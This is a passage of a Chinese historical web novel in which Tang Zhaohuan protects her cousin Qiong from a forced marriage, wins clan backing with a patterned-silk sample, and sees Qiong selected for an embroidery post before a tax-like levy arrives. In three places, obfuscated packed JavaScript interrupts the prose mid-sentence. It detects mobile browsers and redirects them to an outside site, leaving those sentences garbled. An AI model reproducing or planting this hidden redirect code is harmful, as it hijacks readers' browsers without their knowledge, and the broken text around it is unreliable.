唐照环深吸一口气，脸上堆起比晚霞还要灿烂的笑容，故意提高了嗓门，冲着琼姐喊道：“姐姐快来，有个天大的好消息告诉你。” 这一嗓子，成功把所有人的目光都引了过来。 琼姐茫然地抬起头。 唐照环几步跑过去，一把拉住琼姐冰凉的手：“刚才王教习私下偷偷问我话了。” “问你什么？”琼姐不安地小声问。 “问你呀。”唐照环眼睛亮晶晶的，声音更大了，确保院子里每个人都能听清，“王教习说，她特别特别看好你，说你这几日突飞猛进，是块难得的璞玉。” 大娘听到这话，耳朵不自觉地竖了起来，脚步也悄悄往这边挪了挪。 “教习还说啊，只要你能顺利通过十五日后祭陵备用绣娘的考校，她就，她就……”唐照环故意顿了顿，吊足了所有人的胃口，才用夸张的表情继续说，“她就考虑收你做关门弟子。” “关门弟子？”琼姐失声叫了出来，眼睛瞪得溜圆。 这词儿她懂，意味着师父最看重，愿意倾囊相授，将来要继承衣钵的人。 “是啊，关门弟子。”唐照环用力点头，小脸激动得发红，“教习说，包吃包住，一年光工钱就有这个数。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175077|179672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她伸出三根手指头，在凑到跟前的大娘眼前晃了晃。 “三十贯？”大娘倒吸一口凉气。 数目比李大官人许诺的聘礼少了许多，但胜在年年都有，而且琼姐吃住都在绣艺坊，家里不仅白省一个人的嚼用，她平日里还能随时做绣活贴补家人。 唐照心中冷笑，面上担忧地说：“可是教习也说了，关门弟子的规矩可多了。第一条，做了关门弟子，就得守贞五年。” “这是什么意思？”大娘听不懂。 唐照环表情严肃得像在宣读圣旨：“就是整整五年要心无旁骛，专心侍奉师父，钻研绣艺，绝对不能谈婚论嫁，否则就是欺师灭祖，大逆不道。不仅要被逐出师门，名声扫地，永世不得翻身，还得赔给绣艺坊一大笔钱。听说要赔上百贯呢，咱家倾家荡产都不够。” 她故意说得煞有介事，末了还打了个寒噤。 一连串的新鲜词，狠狠砸在大娘见识不多却敬畏权威的心坎上。 她的脸色由白转青，再由青转白，精彩纷呈。 巨大的诱惑和巨大的风险在她脑子里激烈交战。她越想越乱，心慌气短，只觉得眼前发黑。再看琼姐，她低着头，肩膀微微发抖，不知是害怕还是激动。 大娘狠狠剜了琼姐一眼：“什么关门弟子，八字还没一撇呢，考得上考不上还两说。别以为攀上高枝儿就忘了本，该干的活计一样不许落下。” 她骂骂咧咧地往屋里走，咣当一下，用劲关上了门。 琼姐眼中蓄满泪水，心头松了一口气，低不可闻地说了一句：“妹妹，谢谢你。” “快别说这些。”唐照环握紧她的手，“眼下最要紧的，是十五日后的考校，你得拿出十二分的本事来。只要过了，王教习那里咱们再想办法。” 琼姐用力点头：“我这就去练。” 她找到了主心骨，迅速钻进了前院柴房，拿出针线布料，全神贯注地练习起来。将所有的恐惧和希望，都倾注到手中的针线里去。 刚半下午，大娘就堵住了唐守礼。 “他三叔，李大官人家的事，你到底问清楚了没有？赶紧安排人来相看啊，可别耽误了。”大娘一字一句重复唐照环说的话，“琼儿在绣坊里是有点名堂了，可那什么关门弟子，规矩也太吓人了。等五年，黄花菜都凉了，万一不成还得赔钱。我看啊，还是赶紧定下李家的亲事稳妥，聘礼到手才实在。” 唐守礼面上堆起惯常的油滑笑容，拍着胸脯保证：“大嫂放心，我这就去催，保管安排得妥妥当当，您等好消息吧。” 等大娘离开，他脚下拐了个弯，直奔坊市买了包卤豆干，等在县学门口。 前两天，他找到了在李大官人府上二管事手下做小管事的酒肉朋友，几杯浊酒下肚，又塞了几十个铜钱，终于从对方半醉的吹嘘和抱怨中套出了实情。 环丫头全说中了，什么填房，分明是拿琼丫头当个玩意儿。 他唐守礼是油滑，是贪小便宜，可还没丧良心到坑害亲侄女的地步。但是吧，他也要面子，说不出口实情。 散学钟响，看到唐守仁走出来，他赶紧堆起笑容迎上去。 “散学了？辛苦。”唐守礼殷勤地接过唐守仁手里的书卷，“走，咱兄弟俩找个地方喝两盅，我请。” 唐守仁诧异地看着这个平日里躲着自己走的三弟，但见他态度诚恳，也不好拒绝，便找了家干净些的酒馆坐下。 几杯酒下肚，唐守礼脸上泛红，话匣子也打开了。他先是唉声叹气，自责不已：“前些日子，那钱贵家的事，还有李大官人那茬。兄弟我唉，是真糊涂。” 唐守仁默默喝酒，没说话。 “哥，环丫头不一般啊，真让她说着了。那李大官人府上，水浑着呢。”他含糊其辞，绝口不提自己确认了对方只想纳妾的事实，“环丫头说得对，咱们琼丫头是有大前程的，不能糟践了。” 唐守仁抬眼看向他。 唐守礼与有荣焉地关心道：“绣坊的王教习听说可是宫里出来的老供奉，手艺通天。琼丫头跟着她，将来还愁没好前程？不比那些虚头巴脑的强百倍？” 他意有所指，没提李大官人，但意思再明白不过。 唐守仁觉他的话虽显几分刻意和算计，但那份想要亲近的态度是真的。 他心中那点芥蒂也消融了些，端起酒杯：“你能这么想就好。” 唐守礼赶紧端起酒杯碰了一下，心里暗暗松了口气。他知道，二哥这关，算是暂时过了。 14.第 14 章 吉星纹罗 唐守仁从三弟那边得知，大娘依旧催逼他去联络李大官人府上，显是贼心不死，只等考校结果便欲出手。 他心头忧虑如同滚水煎熬，思前想后，觉得唯有请动族长出面，以宗族之力彻底压服大嫂，方能绝了后患。 但是，他从族长家回来时，温厚的脸上布满了阴云，脚步也沉甸甸的。溪娘迎上去，只看他脸色，心就凉了半截。 “族长不肯管？”溪娘递过一碗凉茶。 唐守仁接过茶碗却没心思喝，重重叹了口气：“族长说，大嫂是琼丫头的生母，为女儿议亲，天经地义。又不是去做妾或者卖身为奴，他身为族长，强压着不让母亲嫁女，传出去不像话也于礼不合。只含糊答应会劝劝大嫂，莫要太过急躁。” 溪娘气得眼圈发红，但也无可奈何。 大娘得知族长态度，腰杆子又硬了几分，对着琼姐骂道：“听见没？族长都说了，你的婚事，娘说了算，别以为攀上个什么教习就翅膀硬了，该你的路跑不了。” 琼姐脸色惨白，捧着绣绷的手指颤抖。 唯独在里屋温习绣艺实则竖着耳朵听的唐照环听了爹爹的转述，小脸上并无太多意外。她早知族长如老狐狸靠不住，要破局，须得另寻他途。 这日午后，她提着一小篮新摘的脆桃，熟门熟路地溜达到唐鸿音的小院。 唐鸿音正对着书案上一卷圣贤书抓耳挠腮，见小侄女来了，立刻眉开眼笑：“稀客啊，可是又有什么事找你十二叔？” 唐照环笑嘻嘻地将桃子奉上，顺势在他对面坐下：“看您说的，后院的桃子熟了，给十二叔尝尝鲜。” 两人闲聊了几句家常，话题自然转到了绣艺坊的盛事上。 唐照环认真地说：“马上考校备用绣娘了，进阶班现在都铆足了劲儿，琼姐可紧张了，日夜都在练呢。您说这次宗室祭陵，要是琼姐的绣品入了贵人的眼，该多风光啊。” “琼丫头有希望？”唐鸿音来了兴趣，“她手艺真那么好？” 唐照环坐直了身子：“何止是好。我跟您说，王教习都亲口夸赞，动了收关门弟子念头的。她绣出来的东西，跟活了似的，可惜啊……” 她话锋一转，小脸上满是愁容。 “可惜什么？”唐鸿音追问。 “可惜家里拖累。”唐照环愤懑地踢了下椅子，“您不知道，我大娘为了点聘礼，一门心思想趁着隔壁县李大官人热孝，把琼姐卖过去做填房。族长爷爷说这是家务事，不好管，可琼姐要是真被逼着嫁了，她那身惊天绣艺全毁不说，王教习的关门弟子也泡汤了。咱们唐家，白白损失一个大绣娘啊。” 唐鸿音年轻气盛，闻言眉头就皱了起来，他对大娘的泼辣短视也有所耳闻，只是没想到竟到了卖女断前程的地步。 “大嫂怎地如此糊涂。琼丫头有这前程，不比嫁个老头子强百倍，族长他老人家也真是。” 他到底没敢非议自己亲爹，但不满之意已溢于言表。 唐照环见火候差不多了，抛出酝酿已久的惊雷：“我悄悄跟您说，别告诉旁人。琼姐不仅绣得好，她还能用后院织机做吉星纹罗。” “吉星纹罗？”唐鸿音差点从椅子上跳起来，“环丫头，你莫要唬我。那玩意儿可是官家夏季爱用之物，仅几处官造工坊能出，琼丫头？她怎么可能？” 唐照环早有准备，飞快从随身的小布包里拿出一方帕子：“这是琼姐前日绣的，您看看这功底，这灵性。” 唐鸿音接过帕子，仔细端详。他虽然不精绣艺，眼光还是有的。 确实非同凡响，针脚之细密，配色之和谐，意境之灵动，绝非寻常绣娘可为。 “绣工是极好，可纹罗是织造法，与绣艺无关啊。”他依旧难以置信。 “织绣不分家。我在绣艺坊，偷听到来此准备接驾的织罗工匠议论，说纹罗的关键，在于挑经显纬和绞综之法。”唐照环立刻接上，声音压得更低，“我和琼姐琢磨花本，觉得他们其实在说，经线的特殊分组和提综的时机力道，经线需用弱捻熟丝，绞眼的密度需依图案走势，七十二梭一循环，多一梭则板，少一梭则散。” 她将现代对古代纹罗技术的部分理解，伪装成偷听和研究来的秘闻。 罗的基本原理是像编麻花辫一样，每三股经线为一组，每遇到纬线就交缠一次，而纹罗的意思是用两种不同粗细的纬线，通过提花技术，控制不同粗细纬线在表面组成图案。吉星图案像是不断循环的三角形拼接，算几何纹里面相对简单的花样。 最简单的平纹织物绢已经做过了，同为绞经，只是稀疏的纱显得很普通。 难度再往上一等的便是罗。 为了换取唐鸿音的帮助，没有花纹的素罗显得不够有说服力，必须上有花纹的罗。 唐照环尽管没上机实操，但是她对此有信心。 唐鸿音听得呼吸都急促起来，挑经显纬，绞综，弱捻熟丝，这些词，绝非一个小丫头能凭空捏造。那台立织绫机，当初就是靠这环丫头，神乎其技地修好的，他对她，有着超乎寻常的信心。 源源不断的财富和名气在向他招手，瞬间点燃了唐鸿音年轻的心。 他强压住心头的激动，目光灼灼地盯着唐照环：“环丫头，此话当真？你和琼丫头，真能做出小样？” 唐照环迎着他的目光，没有丝毫退缩：“只要琼姐能安心学艺，不受打扰，我们姐妹必在考校结束后十日内将吉星纹罗小样奉于十二叔面前。若不成，任凭十二叔责罚。” 她停顿了片刻，抛出了条件：“但请十二叔出面主持公道，以家族产业复兴之大义，彻底压住我大娘，保障琼姐学艺自由。” 唐鸿音一拍桌子，震得书册都跳了一下：“一言为定！只要你们按期拿出吉星纹罗小样，证明此事可行，你大娘那里，我自有法子让她闭嘴。家族利益当前，岂容她为一己私利，断送我唐家崛起之机。” “多谢十二叔。”唐照环心中大石落地，郑重行礼。 离开唐鸿音的小院，唐照环脚步不停，又寻到了正在与人吹牛的三叔唐守礼。 她将三叔拉到僻静处：“琼姐考校在即，我怕大娘心急，自己跑去寻李大官人府上的人。万一言语间冲撞了贵人，或是催得太急，惹得对方不快，反倒坏了事，也连累三叔的面子不是？” 唐守礼一听，心里咯噔一下。 他心知肚明那李大官人只想纳妾，万一真让大娘这泼辣货自己找上门去，捅破了窗户纸，事情可就闹大了。 “环丫头放心，你大娘那里，三叔我看着，保管让她安安分分在家待着，绝不去添乱。”他眼珠一转，计上心头，“我这就去跟她说，李大官人府上管事的亲戚传话了，说他们老爷这几日带着得力人去州府办事，过些日子才回，让她耐心等着，保管把她稳住。” 唐照环要的就是他这份怕事和站队的心思，甜甜一笑：“全仰仗三叔啦。等琼姐出息了，您的好处，环儿都记在心里呢。” 看着小侄女离去的背影，唐守礼抹了把额头上不存在的虚汗，转身就朝她家走去，准备用老爷出门的说辞，好好安抚住心急火燎的大娘。 绣艺坊内，空气绷得如同上紧的弓弦。考校近在眼前，进阶班的小娘子们个个铆足了劲儿。 吴教习板着脸，眼神如鹰隼般扫过每一张绣绷，声音冷得像三九天的冰凌子：“手要稳，眼要准，心要静。这祭陵的绣品，一丝一毫的差池，丢的是绣艺坊的脸，更是你们全家的脑袋，都给我打起十二分的精神。” 琼姐埋首在绣架前，几乎与繁复的花样融为一体。指尖翻飞如蝶，丝线穿梭似流云。几日特训下来，她那本就扎实的功底愈发精纯，对色彩和构图的掌控更是突飞猛进，隐隐成了进阶班中拔尖的那几个，连吴教习严苛的目光扫过她的绣绷时，都会略微缓和些。 然而，树欲静而风不止。这日散学，琼姐刚走出绣艺坊大门，便被一人堵在了墙角。 “这不是未来的大绣娘唐照琼吗？”钱福妞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185145|179672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱着胳膊，下巴抬得老高，阴阳怪气地拖长了调子，“攀上高枝儿了，眼睛就长头顶上了，连答应人的事儿都忘到九霄云外去了。” 琼姐本就胆小，被她一吓，声音更弱了：“我答应你什么了？” “装什么糊涂。”钱福妞逼近，“前些日子可说好的，你要是侥幸考上了那备用绣娘，助手的位置得归我。怎么？现在觉得自己翅膀硬了，想反悔？信不信我让我爹去跟教习说道说道？” 她刻意加重了说道说道四个字，威胁之意溢于言表。 琼姐嘴唇哆嗦，被堵得说不出话。助手可随行祭陵，增长见识，她怎甘心让给蛮横无理的钱福妞，可钱贵的气势又让她心生恐惧。 进了绣艺坊，发现人人比你强，没法耍威风了就拿我们俩出气啊。 唐照环气愤上前，如同护崽的豹子般挡住琼姐：“好大的威风。什么答应不答应，我怎地没听过。助手人选自有教习定夺，你爹是牢头不假，可绣艺坊还轮不到钱家说了算吧？不行我现在就去请两位教习出来，咱们当面问问，这助手的位置，能不能私下买卖，强取豪夺。” 钱福妞再蛮横，也知两位教习最厌恶这等歪门邪道。她看着唐照环那毫不退缩的眼神，又瞥见远处似有教习的身影晃动，顿时气焰矮了半截，色厉内荏地哼了一声：“牙尖嘴利，走着瞧！” 一跺脚，扭身走了。 琼姐看着唐照环无比坚定的背影，鼻子一酸。 “别理她，咱们走。”唐照环拉起她的手，快步离开这是非之地。眼下，还有更要紧的大事。 唐鸿音的后院，十几盏油灯把室内照得如同白昼，两人熬红了眼睛，纤细的手指在细若毫发的丝线间穿梭，挑动，绞合。 汗水浸湿了额发，指尖被丝线勒出深深的红痕，甚至磨破了皮。困倦如潮水般袭来，便互相掐一把胳膊，或用冷水激一激脸。 时间，在飞针走线中无声流逝。终于，在考校前两日的深夜，一截巴掌长短，凝聚了姐妹俩全部心血与希望的吉星纹罗小样，出现了。 两人累得直接吹灭油灯，和衣在后院地上睡了一宿，好在天气炎热，倒没有受凉。 天刚亮，唐照环将小样放在唐鸿音的书案上。 唐鸿音一把抓起长长的布片，走到院子，举光翻来覆去地看，手指抚过精妙绝伦的纹路，感受绞综触感。 “简直是神了。”他激动得在院子里打转，没忘了自己的承诺，郑重地说，“你二人只管去上学，剩下的交给我。” 送走了两个小丫头，唐鸿音冲进父亲的书房。 族长正闭目养神，被儿子风风火火的样子惊动，不悦地睁开眼。 “咱们家出人才了。”唐鸿音把小样在他书桌上摊开，简单把事情一说，“我知道吉星纹罗不少见，南边几个大的私家布庄也在私下出货。可这两个小丫头进绣艺坊不足一月，只用台立织绫机就搞定了，前途不可限量啊。” 族长倒吸一口凉气，老脸上满是震撼：“此话当真？” 能出货的无论是官造还是私人工坊，无不配置了占满几间房的大型花楼机，价值数千贯。操机的绣师哪个不是有二十年的老经验，家传丰厚或者被常年培养。具体的织造技术更是不外传，每家都靠自己摸索。 “千真万确！”唐鸿音抓住时机，慷慨陈词，“环琼俩丫头有此惊世之才，乃我唐氏先祖庇佑。但是，琼丫头生母周氏，目光短浅，为一己聘礼之私，竟欲逼嫁。此等行径，无异于自毁长城，断我唐家崛起之机。家族利益当前，岂容妇人短视误事。您身为族长，当以雷霆手段，护我家族瑰宝，绝其后患。” 族长摩挲手中意义非凡的小样，再听着儿子这番掷地有声，关乎家族未来的陈词，心中那点家务事不便管的念头早已烟消云散。 这哪里还是家务事？这关系到唐氏家族未来，绝不能把琼丫头拱手送给他人。 老族长再无半分犹豫：“传话下去，召集相关人等，到祠堂偏厅议事。” 15.第 15 章 入选 唐家祠堂偏厅，灯火通明，族长端坐主位不怒自威，唐鸿音侍立一旁气势凌然。 唐守仁夫妇，三叔唐守礼依次坐着，脸上满是疑惑和期待。大娘被这阵仗弄得不安，强撑着坐在下首。琼姐和唐照环则垂手立在角落旁听。 “人都齐了。”族长威严开口，“今日召集，只为琼丫头的去留前程。” 大娘心头一跳，下意识想开口辩驳。 族长根本不给她机会，目光如雷电般射向她：“你且先听老夫把话说完。” 族长将目光投向角落里的琼姐。 “琼丫头在绣艺坊的表现，老夫已有耳闻。王教习青眼有加，言其天赋卓绝，乃可造之材。” 他顿了顿，唐鸿音立刻会意，躬身将吉星纹罗小样捧到父亲面前。 “吉星纹罗算不得稀世奇珍，但仅凭鸿音后院那台老旧立织绫机，短短十日内，琼环二人靠天赋悟性琢磨而成，非寻常绣娘可为，这是点石成金，化腐朽为神奇的‘活花楼’。” 族长放下小样，猛地一拍身旁的茶几，震得茶碗叮当作响。 “她的前程，绝非嫁入富户做填房可比。你若再敢为一己私利，提什么卖女之事，便是罔顾家族根本利益，与我唐氏全族为敌。族规在上，休怪老夫届时翻脸无情。宗祠之内，自有公断！” 那声冰冷的自有公断，比直接说出逐出宗祠更让大娘胆寒，她太清楚族长的自有公断意味着什么了。她瘫软在椅子上，嘴唇哆嗦，再也发不出半点声音。 在家族利益的帽子下，她个人的意愿和那点聘礼的诱惑，显得如此渺小。尤其族长点明了琼姐低成本高产出的核心价值，让她连纹罗不稀罕的借口都彻底堵死。 唐鸿音适时上前一步，沉声道：“大嫂，爹爹所言句句肺腑。琼丫头有此惊世之才，是我唐家之幸。您作为母亲，当以她长远前程为念，而非眼前蝇头小利。扶持她成才，将来她光耀门楣，您才是真正的脸上有光，受益无穷。” 三叔唐守礼眼看大局已定，立刻跳出来锦上添花：“族长英明，十二弟说得太对了！咱琼儿就是那文曲星，哦不，是织女星下凡，李大官人算个啥？土财主一个。等咱琼儿把这本事练成了，开个大绣庄，把吉星纹罗卖遍天下，那才是真正的体面。到时候，大嫂您就等着享清福吧。” 族长颔首，对唐守礼的帮腔表示满意，也为这次家族会议盖棺定论：“此事就此定论，琼丫头安心学艺，家族自会为你扫清障碍。散了吧。” 众人起身恭送族长。 琼姐站在角落的阴影里，听着那决定她命运的天籁之音，看着娘亲彻底灰败失神的脸，再望向身旁紧紧握住她手，给予她无声力量的唐照环，一直强忍的泪水终于如同冲破堤坝的洪水汹涌而出。 唐照环感受到手上传来的剧烈颤抖，也用力回握，小脸上露出了如释重负又充满欣慰的笑容。 最艰难的一关，终于闯过去了。 十五日期满，绣艺坊进阶班内，气氛凝重得如同三九寒冬。香炉里袅袅升起的青烟，也压不住内心的汹涌。 十数名小娘子端坐绣绷前，个个屏息凝神，连呼吸都放得极轻，生怕惊扰了指尖的方寸乾坤。 琼姐坐在靠窗的位置，摒弃所有杂念，整个世界只剩下眼前绷紧的素缎和五彩丝线。指尖翻飞，银针穿梭，动作行云流水，指定的《松鹤延年》底稿，在她手下渐次鲜活，松针苍劲，鹤羽飘逸，意境高远，灵气逼人。 吴王两位教习背着手，在课室内缓步巡视，目光如同鹰隼，锐利地扫过每一幅作品。 待踱步到琼姐身后，两人脚步皆不由自主地停了下来。 她熟练运用多种技法层层晕染，将松的坚韧和鹤的仙逸展现得淋漓尽致，让阅品无数的教习心中也忍不住暗暗喝彩，毫不掩饰眼中的欣赏与满意。 考校结束的铜锣声敲响。 经过讨论，吴教习肃立，召集入门班和进阶班一同宣布结果：“本次考校，择优入选备用绣娘三人。入选者为唐照琼，刘月娥和陈玉娘。望你等三人勤勉自持，不负此行。” 琼姐只觉得一股巨大的热流从脚底直冲头顶，心脏在胸腔里狂跳。 她成功了，她真的做到了！ 她强忍欲夺眶而出的泪水，朝着教习的方向深深一福：“谢教习栽培，学生定当竭尽全力，不负所托。” 眼见教习要走，钱福妞的脸瞬间涨成了猪肝色，她猛地站起来，尖声道：“教习，助手呢？唐照琼答应过让我做她助手的。” 她情急之下，竟将私下威胁之言当众嚷了出来。 王教习眉头一皱，严厉地瞪了她一眼。 一旁的吴教习沉声开口，声音压下了所有骚动：“肃静。助手人选，并非由主绣娘指定，亦非今日决定。 助手之责，首重劈线。线劈得匀、细、韧，方能成就上品绣作。为保线质，五日后，将由入门班当众演示劈线，以手上功夫一决胜负。” 此言一出，入门班几个家境优渥的小娘子顿时觉得胜券在握。 劈线水平大家都差不多，决胜之处便成了手的细嫩程度，越嫩的手越不容易把线磨花。这几日尽心养手，助手之位自在囊中。 人群散去，王教习单独留下了琼姐。 僻静回廊下，王教习语气前所未有温和：“唐照琼，今日考校你做得很好。沉着，专注，技法纯熟，意境更佳，没让我失望。” 琼姐深深垂首：“全赖教习平日教导有方。” “不必自谦。”王教习打断她，“你的天赋，万里挑一。此次祭陵，是机缘更是磨砺。你性子虽怯，但心思灵巧，望你借此机会，磨砺心性，开阔眼界。你的前程远不止于此，好生把握。” 琼姐重重点头：“学生谨记教习教诲，定不负教习期望。” 消息如同长了翅膀，飞遍了全县。 钱福妞在家摔盆砸碗，哭闹不休。 钱贵阴沉着脸，呵斥道：“嚎什么丧，没出息的东西。劈线而已，还有五日，给老子在家好好养手，敢涂那些花里胡哨的膏子，老子给你剁了。 那唐家丫头入选就入选了，那边刚来了信儿，李大官人填房人选定了，是邻县一个富户家的嫡女，跟她家没关系。以后收拾的机会有的是。” 唐家这边，溪娘喜极而泣，唐守仁激动得连声道好。大娘两个消息同时得知，消沉与欣喜在心头交织，寻了个由头躲屋里生闷气。 最兴奋的莫过于三叔唐守礼，他喜上眉梢，走路都带风。 “我就说嘛，琼儿是织女星下凡，备用绣娘而已，手拿把攥。”他殷勤地围琼姐转，如同在看一座闪闪发光的金山，“回头想吃啥跟三叔说，吉星纹罗有空多琢磨琢磨，这可是金饭碗啊。” 琼姐感受家人的喜悦，望向唐照环的眼中是浓得化不开的感激。若非她步步为营，智计百出，她此刻恐怕早已深陷名为填房实则火坑的泥沼，哪有今日这般光明前程。 唐照环回以一个温暖的笑容。 忽听得院门外车马轻响，门扉吱呀一声被推开。 唐鸿音一身簇新的宝蓝直裰，意气风发地当先踏入，身后跟着好几个提沉甸甸多宝大食盒的伙计，身上和食盒上皆有县里最大酒楼醉仙楼的印记。 更引人注目的是他身侧那位小娘子。 身着鹅黄地缠枝莲暗纹的褙子，下衬月白百褶裙，身姿娉婷，步履从容，自带一股大家闺秀的从容气度，正是唐家最受宠的琴娘。 “十二弟，琴妹妹，稀客稀客。” 唐守礼第一个迎了上去，脸上笑开了花，目光忍不住往食盒上瞟，“怎么不提前派人通传一声，我们好去门口迎接。” 唐鸿音朗声笑道：“琼丫头高中备用绣娘，乃我唐家大喜事。小弟特从醉仙楼订了全套席面，与诸位同贺。” 琴娘行了个礼，声音清越悦耳，如珠落玉盘：“各位安好。照琼大喜，我与十二哥同来道贺应当。些许薄馔，聊表心意，还望各位不要嫌弃。” “这如何使得，太破费了。” 唐守仁连忙道谢，“两位快请上座，能来便是赏脸，怎么还带这么重的礼。” 唐鸿音侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191164|179672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身，让伙计将食盒抬进院里。溪娘眼瞅着堂屋桌子上放不下，招呼伙计把家里所有桌子都搬到后院中央，拼成了块大的。 伙计们把食盒打开，手脚麻利地将菜肴在大桌上铺陈开来，顷刻间摆得满满当当。 顿时香气四溢，水晶肴肉、芙蓉鸡片、松鼠鳜鱼、蟹粉狮子头……色香味俱全，看得人食指大动。 寻常人家难得一见的珍馐美馔，此刻在唐家小院里熠熠生辉，更添喜庆。 大娘也被这阵仗惊动，讪讪地从屋里挪出来，看着贵客和满桌的佳肴，再想想自己那点见不得人的心思，脸上臊得慌，缩在角落不敢言语。 三叔唐守礼早已按捺不住，搓着手：“哎呀呀，醉仙楼。这可是咱们永定县头一份的排场，十二弟大手笔，琴妹妹贴心。 今儿咱们家可真是双喜临门，不，三喜临门！琼儿高中是一喜，十二弟琴妹妹登门二喜，这席面，就是三喜。” 他这歪理引得众人一阵哄笑，气氛顿时轻松热络起来。众人忙请唐鸿音和琴娘上座。 众人落座，琴娘坐在溪娘身边，夹了一箸放到溪娘碗中，柔声道：“二嫂身子重了，更要多吃些好的补补。说来，今年虽则二哥科场稍有不顺，但东方不亮西方亮，可见咱们唐家今年，运道是极好的。照环又聪慧灵透，二嫂您啊，就等着享福吧。” 溪娘听得心花怒放，真心实意地回夸：“琴姐儿这话，真是说到我心坎里去了。说到底，琼儿能有今日，环儿能帮上大忙，还得多亏了十二叔慧眼识珠。要不是他出钱出力，送她俩去绣艺坊学艺，哪有今日这份体面。两位就是我们家的贵人，得敬两位一杯。” 唐守仁连连点头，举杯敬向唐鸿音和琴娘：“二哥敬一杯，这份情记在心里了。” 唐鸿音被夸得脸上微红，豪爽地举杯一饮而尽。 “都是一家人何分彼此，琼环两个丫头有出息，也是我唐家之幸，这钱，花得值。” 他放下酒杯，转向琼姐，“琼丫头，此番随行祭陵，用心多学多看，莫辜负王教习的期望，也莫辜负咱家的期盼。” 琼姐连忙起身，郑重应道：“是，十二叔，琼儿定当竭尽全力。” 见琼姐在绣艺坊待了一月有余，连待人接物也比之前通透大方，众人更是开怀。 席间气氛愈加热烈。唐守礼几杯黄汤下肚，谈兴大发，他把筷子一放，比划起来。 “咱琼儿的前程杠杠的，这才哪到哪。等祭陵回来，身价倍增，再跟着王教习把那身本事学全乎了。”他越说越激动，手指在空中画圈，“我全都盘算好了，琼儿和环儿负责织绣，我负责跑腿，找路子，采买上好的生丝，联络州府的大客商。 咱们不贪多，先小打小闹，专供那些讲究的官宦富户。价钱嘛，自然不能低了，等打出名头，攒下本钱，咱们也盘个铺面，开他个唐记布庄。 到时候，我唐守礼就是唐大掌柜。走出去，谁不得高看一眼。琼儿环儿，那就是咱们的摇钱树，哦不，是镇店之宝。” 他的这番宏伟蓝图如此市侩和天马行空，听得唐守仁夫妇面面相觑，哭笑不得。琼姐更是听得面红耳赤，不知如何接话。 琴娘掩口轻笑，唐鸿音直接笑骂：“你酒还没喝几杯，倒先做起大掌柜的美梦来了。” 唐守礼羞赧地转移话题：“大嫂，你怎么跟个锯嘴葫芦似的一声不吭，可不像你平时的做派啊。” 大娘眼神慌乱，挤出笑容：“我说话不中听，今儿个是大喜的日子，不扫大家的兴了。” 溪娘心肠最软，主动递了个台阶过去：“大嫂见外了。琼儿还不是从小靠你给她打的底子，基础打得牢，才有她今日出头。要我说，琼儿的功劳簿上，头一份就该记你。” 大娘顿觉腰杆硬了，主动夹了一块看起来最贵的蟹粉狮子头：“她小时候笨手笨脚的，可没少挨，没少费我心思教。确实，女红啊底子最重要，底子打歪了，后面再好的师傅也难扳正。她能有今天的出息，我这个当娘的费老鼻子劲了。” 小小的院落里，酒香菜香弥漫，笑语喧阗。 16.第 16 章 募捐 喜气儿还没在小院里捂热乎，第二日晌午刚过，刺耳的铜锣声由远及近，砸碎了唐家的安宁。 “哐！知县有令，为敬奉先灵，彰显孝道，即日起征纳神道修缮募捐，各家各户，共襄盛举，速速缴纳，不得延误。哐！” 来的是本坊里正魏老蔫，一个平日里还算和气的中年汉子，此刻一脸苦相，身后跟着他两个同样愁眉苦脸的儿子，一个抱账册，一个挎褡裢。 唐守仁闻声出来，眉头紧锁，溪娘也扶腰挺着肚子跟到门口。唐照环和琼姐则躲在两人身后，警惕地盯着来人。 “魏里正，这是？”唐守仁拱手，心里已猜到几分。 里正停下锣，拱了拱手，声音干涩：“唐秀才，实在对不住，上头的差遣。下月十五宗室贵人要来永厚陵祭拜，这神道啊，碑亭啊，都得拾掇拾掇，光景瞧着体面些。官府摊派下来，咱们坊里各家都得交，你家五贯，算是募捐。” 五贯？顶自家三月花销了。 唐守仁岂能不懂，募捐不过是借宗室祭陵的名头，行摊派勒索之实，永安县每每借此敛财，早已是公开的秘密。 他强压怒气，据理力争：“里正明鉴。我唐家虽贫，该纳的正税和役钱，分文不少。修缮皇陵自有朝廷专款，亦有地方常例支应。何故再行摊派，重累小民？此乃额外加征，于法不合。” 魏里正脸更苦了：“咱小门小户的，哪敢跟官府掰扯道理。上头一句话，咱们跑断腿。您家如今日子见好了，琼丫头还在绣艺坊出了头。行行好，体谅体谅小的难处。” “这么热闹。” 众人循声望去，只见铁塔般的身影堵住了院门，钱贵一身皂色公服，一步三晃地踱了出来。他身后还跟着四五个手持水火棍的狱卒，活像一群刚下山的恶虎。 钱贵走到近前，在所有人身上溜了一圈，最后落在唐守仁脸上，皮笑肉不笑地讥讽道：“怎么着？唐秀才不肯捐？ 